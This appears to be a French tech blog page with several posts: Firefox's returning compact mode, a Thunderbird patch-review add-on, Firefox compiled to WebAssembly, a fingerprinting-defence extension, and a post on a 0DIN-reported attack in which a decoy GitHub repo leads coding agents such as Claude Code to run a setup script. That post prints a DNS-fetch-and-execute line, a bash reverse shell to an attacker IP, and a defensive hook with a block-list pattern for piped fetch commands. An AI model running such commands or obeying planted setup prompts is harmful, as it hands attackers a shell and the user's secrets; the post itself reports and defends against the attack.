Vue normale

Il y a de nouveaux articles disponibles, cliquez pour rafraîchir la page.
À partir d’avant-hierFlux principal

Firefox ressort le mode compact du placard, 5 ans après

Par : Korben ✨
27 juillet 2026 à 19:00

En 2021, Mozilla a estimé que le mode compact de Firefox intéressait trop peu de monde pour mériter sa place dans l'interface. Le bug qui actait sa suppression a énervé pas mal de monde, mais la justification à l'époque, c'était que cette densité est "difficile à découvrir, et on suppose qu'elle est peu utilisée".

Faut dire que ce mode compact réduit sacrément l'espacement des barres d'outils et des onglets pour gagner de la place à l'écran. Mozilla le destine explicitement aux petits écrans.

Mais devant la levée de boucliers, Mozilla a dû faire machine arrière mais à moitié ^^. En avril 2021, un second bug acte le compromis : ceux qui utilisaient déjà le mode compact le gardent, les autres doivent aller l'activer à la main dans about:config via browser.compactmode.show.

Puis au bout d'un moment dans le menu de personnalisation, l'option réapparaît en juin 2021 dans Firefox 89 sous le doux nom de "Compact (not supported)". C'est la version qui embarquait la refonte Proton dont je vous parlais à l'époque .

Nous sommes 5 ans plus tard, et Mozilla remet le couvert avec le mode compact ! En effet, le nouveau design de Firefox est arrivé aujourd'hui dans Nightly, et ce mode compact fait partie du package. "Les gens nous ont dit que ça leur manquait, et on les a écoutés", explique l'équipe.

Sauf que ce n'est pas exactement un retour à la case départ. Dans le code de Nightly 155, le mode compact ne revient pas dans le menu de personnalisation. En réalité, il déménage dans les réglages, sous une rubrique "Window density" qui propose Automatique, Standard, Compact et Tactile.

Mais surtout Firefox sait maintenant basculer en compact tout seul. C'est une préférence fraîchement débarquée, browser.compactmode.auto.threshold, qui fixe le déclencheur à 0.05. Cela veut dire que si la barre d'onglets s'apprête à bouffer plus de 5 % de la hauteur de votre fenêtre, le navigateur passe en densité réduite sans rien vous demander.

Même logique sur la largeur avec la barre latérale repliée avec un garde-fou plutôt propre qui fait que si un utilisateur a choisi lui-même une densité, il ne se fait jamais écraser son réglage.

Le reste de la refonte, baptisée Project Nova en interne , n'est pas mal non plus. Les onglets prennent une forme plus douce avec un léger dégradé sur l'onglet actif, la palette s'inspire du feu avec des violets fumés, et les icônes sont redessinées pour tenir la route en thème clair comme en sombre. Mozilla a d'ailleurs publié les teintes avec leurs codes, du Cream #FFF4EE au Midnight Purple #210340.

Les réglages sont réorganisés au passage, avec une entrée dédiée aux contrôles IA pour couper entièrement ces fonctions, et un réglage du niveau de protection contre le pistage. Mozilla annonce aussi 9 % de gain sur les temps de chargement du contenu principal des pages sur un an.

Bon voilà, ce que je peux vous dire, c'est que comme d'habitude, avec Firefox, les gens vont encore gueuler pour rien. En 2014, la refonte Australis avait provoqué le même genre de problème, au point qu' une extension entière avait été codée pour restaurer l'ancienne apparence .

La différence, cette fois, c'est que Mozilla range la personnalisation du côté des réglages officiels au lieu de la laisser aux extensions et à about:config.

Pour voir tout ça, il vous faut la version Nightly et rien d'autre. Dans le code source, la préférence globale browser.nova.enabled n'est activée que sur les builds Nightly, elle reste à false partout ailleurs. Le déploiement large est annoncé pour cette année, sans date. En attendant, la branche stable continue d'avancer de son côté avec les conteneurs natifs arrivés dans Firefox 153 .

Source

Reviewer des patches git par mail sans quitter Thunderbird

Par : Korben ✨
20 juillet 2026 à 15:02

Marc Coquand avait très envie d'embarquer son équipe dans un nouveau genre de workflow Git à base d'emails et c'est pour ça qu'il a créé thunderbird-patch-review .

Il s'agit d'une extension pour Thunderbird qui, lorsque vous ouvrez un mail qui contient une série de patchs, vous propose un bouton "Review" vous permettant d'accéder à une interface de relecture Git qui va vous être très familière, vous allez voir.

Ensuite, si la série des patchs vous convient, vous pouvez tous les approuver directement sur votre dépôt local avec la commande git-am sans jamais avoir à quitter votre client mail.

Pour lancer Git, l'extension utilise une API expérimentale maison qui embarque tout le nécessaire dans son paquet sans host de messagerie native à installer séparément. Ça fait un truc en moins à configurer et l'addon vérifie que tout est OK dans un worktree jetable, avant de valider la review.

Comme ça, s'il y a un conflit, le bouton Apply se grise et les erreurs remontent dans l'interface pour que vous puissiez toutes les revoir une par une et faire un retour propre à l'auteur.

Cet add-on a été vibe-codé avec GLM 5.2 et construit pour répondre aux besoins de son équipe. Il hésitait sincèrement à le partager parce que le monde n'est pas encore prêt pour le Vibe Coding, mais il explique sur son site qu'il y avait un sérieux manque d'outils dans l'écosystème pour pouvoir travailler sur des revues de patch directement dans son client mail.

Donc tant pis, yolo, il l'a publié quand même et je pense que ça devrait vous intéresser. Comme quoi faire bosser un agent pour soi n'oblige pas à le planquer.

Maintenant, les patches qui arrivent en pièce jointe ne sont pas encore gérés, les mails en HTML seul non plus, et la collecte d'une série ne cherche que dans le dossier du message ouvert. De plus, l'add-on n'est pas encore publié sur le store Thunderbird, donc vous devrez le packager vous-même en .xpi depuis la racine du projet :

git clone git://mccd.space/thunderbird-patch-review
cd extension && zip -qrX ../patch-review.xpi .

Ensuite, vous chargez le fichier obtenu via le menu engrenage du gestionnaire de modules complémentaires (Installer un module depuis un fichier) et c'est réglé ! Rien de méchant si vous avez déjà bidouillé des extensions Thunderbird, genre Send Later pour planifier vos envois dont je vous parlais il y a un petit moment maintenant.

Voilà, si vous faites déjà du git par email, ça vaut le détour. Le code est en EUPL 1.2, et tout se passe ensuite sur la mailing list de Marc.

Source

Firefox en WebAssembly - Gecko s'embarque dans vos pages web

Par : Korben ✨
17 juillet 2026 à 13:56

Vous avez une TV connectée qui vous crache de la pub, un navigateur intégré dedans qui n'accepte aucune extension, et surtout aucun moyen d'installer quoi que ce soit dessus ? Bonne nouvelle les amis, l'équipe de Puter vient de compiler Firefox en WebAssembly, ce qui fait que ce mur commence sérieusement à se fissurer...

On avait déjà de vieux OS et des émulateurs x86 qui tournaient dans une page web , et là on passe carrément au navigateur au complet. La démo est en ligne si vous voulez tester tout de suite.

L'idée, la voilà... vous ouvrez un onglet dans votre navigateur, et dans cet onglet, c'est un Firefox complet qui tourne, avec son propre moteur d'affichage. Curieux de savoir ce que ça pesait, j'ai récupéré les fichiers, et une fois tout déballé, on arrive à 233 Mo. C'est exactement le même Firefox que sur votre machine, sauf qu'il vit à 100% sur une page web.

Le plus marrant là-dedans, c'est toutes les possibilités que ça ouvre... Par exemple, il y a un gars sur Hacker News qui vient de récupérer une TV sous VIDAA, ce système où tout s'affiche en pages web et où le navigateur maison refuse le moindre bloqueur de pub. Et maintenant son programme du week-end c'est de démarrer Firefox dans le navigateur de la télé, puis d'y glisser uBlock Origin . Et ça vaut pour tout ce qui est cadenassé, la borne d'accueil, le Chromebook du collège, le poste du boulot où l'informatique vous a tout bloqué sauf le navigateur.

La deuxième, c'est de pouvoir vérifier un site dans Firefox quand vous n'avez pas de Firefox sous la main. Vous êtes sur iPhone, ou coincé sur le Chrome tout naze de votre boîte sans les droits admin ? Bah vous ouvrez un onglet et vous avez un vrai moteur Mozilla sous la main pour vérifier que votre page ne part pas en vrille.

La troisième possibilité s'adresse aux développeurs. Pour fabriquer une miniature de page ou prévisualiser du HTML, il faut d'habitude un navigateur qui tourne sur un serveur, avec la machine à payer derrière. Là, le rendu peut se faire directement chez le visiteur, grâce à un peu de code :

import { Gecko } from 'gecko.js';

const gecko = new Gecko({ canvas: document.querySelector('canvas')! });
await gecko.init();
await gecko.load('data:text/html,# hello from Gecko

');

Maintenant, la limite de la démo actuellement en ligne, c'est que tout le trafic passe par les serveurs de Puter, sans quoi ça ne pourrait pas fonctionner du tout. Le HTTPS reste bien chiffré de bout en bout, mais évitez quand même d'y taper vos mots de passe. Ah et ça rame aussi un peu, et sur mobile c'est mort pour le moment. En tout cas, c'est pas un truc que je vous conseille d'utiliser au quotidien parce que bien employé par un cybercriminel, ça pourrait permettre s'il y a une faille dans le moteur de rendu évidemment de lire par exemple vos cookies.

Donc si vous l'utilisez, pensez bien à faire tourner chaque site que vous visitez avec ça, dans une instance séparée

Ce chantier a été entrepris avec l'aide de Claude d'Anthropic. Il a englouti une trentaine de milliards de tokens, soit dans les 25 000 $ au tarif normal. Mais heureusement, l'équipe de Puter avait un abonnement Max et s'en est tirée "que" pour une centaine de dollars. Voilà, c'est de la bidouille, avec les défauts qui vont avec mais avouez que c'est beau ^^.

Le code est ici sous licence MPL, et y'a aussi WebkitWasm qui fait la même chose avec WebKit.

Source : Simon Willison

Un dépôt GitHub trop propre suffit à pirater Claude Code

Par : Korben ✨
30 juin 2026 à 09:18

Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant.

Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux !

Le pire, c'est que la faille n'est pas réellement dans Claude Code mais plutôt dans la serviabilité du modèle.

Le dépôt utilisé par les chercheurs pour leurs tests, se présente comme "Axiom", un faux outil de déploiement cloud avec un README propre et des instructions banales : pip3 install -r requirements.txt puis python3 -m axiom init.

Le package Python est conçu pour refuser de démarrer tant qu'il n'est pas initialisé, donc quand l'agent essaie de lancer l'appli, il se prend un RuntimeError parfaitement normal qui lui dit gentiment "lance python3 -m axiom init". Et l'agent, en bon élève, lit le message d'erreur et exécute la commande de récupération tout seul. Sauf que cette commande déclenche scripts/setup.sh, qui lui, va chercher sa vraie charge utile ailleurs.

Et ailleurs, ça veut dire dans le DNS puisque le script fait ça :

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"

En fait, ça résout un enregistrement TXT contrôlé par l'attaquant, récupère une chaîne en base64, la décode et l'exécute. Et au bout, ce qu'on retrouve, c'est un classique reverse shell bash -i >& /dev/tcp/IP-attaquant/4443 0>&1 qui ouvre un terminal interactif tournant sous votre propre compte utilisateur.

À partir de là, tout ce que vous pouvez faire, l'attaquant le peut aussi : lire vos fichiers .env, siphonner ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, planter une clé SSH ou un cron pour rester au chaud.

C'est un principe de poupées russes, ce qui fait que l'analyse statique du repo ne voit qu'une résolution DNS, que le monitoring réseau n'enregistre qu'une banale requête de nom et que l'agent IA, lui, croit exécuter une étape de setup déjà validée. Aucun système de sécurité ne regarde les trois ensemble. Et cerise sur le gâteau, le payload est interchangeable... Suffit à l'attaquant de mettre à jour son enregistrement DNS et de changer ce que la prochaine victime exécute, sans jamais toucher au dépôt.

L'attaque ne vise d'ailleurs pas que Claude Code. 0DIN a vérifié que Cursor et Gemini CLI tombent dans le même panneau, parce que le piège exploite un comportement commun à tous les agents codeurs : ils lisent les erreurs et tentent de les corriger seuls. On est dans la lignée de cette bibliothèque Java qui piégeait les IA codeuses , sauf qu'ici on passe du sabotage à la prise de contrôle totale. Et ça arrive après les deux failles du bac à sable de Claude Code donc autant dire que la surface d'attaque des agents s'élargit à vue d'œil.

Pour vous protéger, le réflexe de base est simple : un script de setup dans un repo que vous ne connaissez pas, c'est du code non approuvé, point. Vous le lisez avant, ou vous le lancez dans un conteneur jetable sans vos secrets dans l'environnement.

Mais on peut faire mieux que de juste rester vigilant. Moi j'ai mis en place différents outils qui utilisent le hook PreToolUse de Claude Code qui inspecte notamment chaque commande avant qu'elle ne soit lancée et la refuse si elle sent le fetch-and-exec. Voici comment faire. Étape 1, vous créez un petit ~/.claude/hooks/block-fetch-exec.sh :

#!/usr/bin/env bash
input=$(cat)
cmd=$(printf '%s' "$input" | jq -r '.tool_input.command // ""')
if printf '%s' "$cmd" | grep -Eq '(curl|wget|dig|nslookup)[^|]*\|[[:space:]]*(bash|sh|zsh|python3?)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Bloqué : fetch-and-exec détecté."
}
}'
else
exit 0
fi

Vous le rendez exécutable avec chmod +x, puis vous le déclarez dans ~/.claude/settings.json et c'est plié :

{
"hooks": {
"PreToolUse": [
{ "matcher": "Bash", "hooks": [
{ "type": "command", "command": "$HOME/.claude/hooks/block-fetch-exec.sh" }
]}
]
}
}

À partir de là, tout curl ... | bash ou dig ... | bash se fait jeter avant de s'exécuter. Attention quand même, un hook ne voit que la commande de surface. Comme le python3 -m axiom init de l'attaque planque son dig | bash à l'intérieur, ce filet-là ne l'attrape pas tout seul. C'est pour ça que le vrai pare-feu reste la meilleure des isolation.

Un outil comme LuLu (gratuit et open source) qui vous alerte sur les connexions sortantes inattendues, ou carrément faire tourner l'agent dans un conteneur jetable c'est le top ! Comme ça, même si la commande du reverse shell part, ce dernier n'arrivera jamais à joindre son serveur.

Ce qui serait l'idéal, c'est que les agents montrent d'eux-mêmes ce qu'une commande de setup va réellement exécuter, y compris le contenu de tout script qu'elle invoque et tout ce que ce script récupère à l'exécution. En attendant, méfiez-vous des dépôts un peu trop propres, c'est peut-être un appât.

Source : 0DIN (Mozilla Zero Day Investigative Network)

Fingerprint Defender - Brouiller son empreinte sur Firefox

Par : Korben ✨
28 juin 2026 à 14:17

Si vous me lisez depuis longtemps, vous savez forcément que le Fingerprinting est une technique de pistage qui permet de vous identifier en mesurant les petites particularités de votre navigateur telles que les polices installées, votre carte graphique, la résolution de votre écran et j'en passe. Toutes ces petites choses mises bout à bout forment ainsi une empreinte quasi unique. Hé c'est exactement contre ça que Digital Fracture, un petit studio anglais situé dans la ville de Poole, vient de sortir Fingerprint Defender pour Firefox.

La plupart des outils anti-pistage mentent sur tout : faux user-agent, faux écran, faux GPU sauf que mentir, ça vous rend encore plus repérable. Bah oui, un browser qui prétend être 3 machines à la fois, ça se repère vite.

Du coup, Fingerprint Defender fait l'inverse : il randomise seulement les surfaces qui servent à vous tracer, et laisse passer vos vraies valeurs communes pour que vous ressembliez à tout le monde.

Ainsi, chaque session il ajoute un léger bruit aléatoire sur le canvas, sur la sortie audio de l'AudioContext et sur les mesures de position des éléments de la page. Il bloque aussi les fuites d'IP par WebRTC et coupe l'API Battery Status (que Firefox planque déjà aux sites depuis des années, mais bon). Et pour l'écran, il annonce du 1920x1080, la résolution la plus banale qui soit !

Et surtout, il laisse volontairement passer votre WebGL, votre fuseau horaire, vos polices et votre user-agent réels. Pourquoi me direz-vous ?? Eh bien parce que ce sont des valeurs que des millions de gens partagent donc c'est complètement inutile de les falsifier. Ça vous complique juste la vie.

Le pari de "se fondre dans la masse" est bien meilleur qu'un spoofer naïf, et la recherche sur le sujet (le fameux Panopticlick de l'EFF ) montre bien que la protection vraiment béton, c'est l'uniformité totale. Il faut faire en sorte que tous les utilisateurs soient strictement identiques, comme le fait Tor Browser.

Après Firefox fait déjà une bonne partie du boulot nativement... j'en avais parlé quand Firefox a musclé sa protection contre le pistage par empreinte . Et si vous aimez bricoler vos réglages, vous serez content d'apprendre qu'il existe plein d'autres façons de réduire les traces que vous laissez sur Firefox . Mais cette extension dont je vous parle aujourd'hui peut parfaitement venir se rajouter à ça.

Après bon, c'est une extension Firefox donc on peut l'ouvrir pour mater les sources directement mais sachez que bien que ce soit sous licence MPL 2.0 (Mozilla), y'a aucun répo public. Snif...

À tester par curiosité, même si c'est à ne pas confondre avec Tor, lol.

❌
❌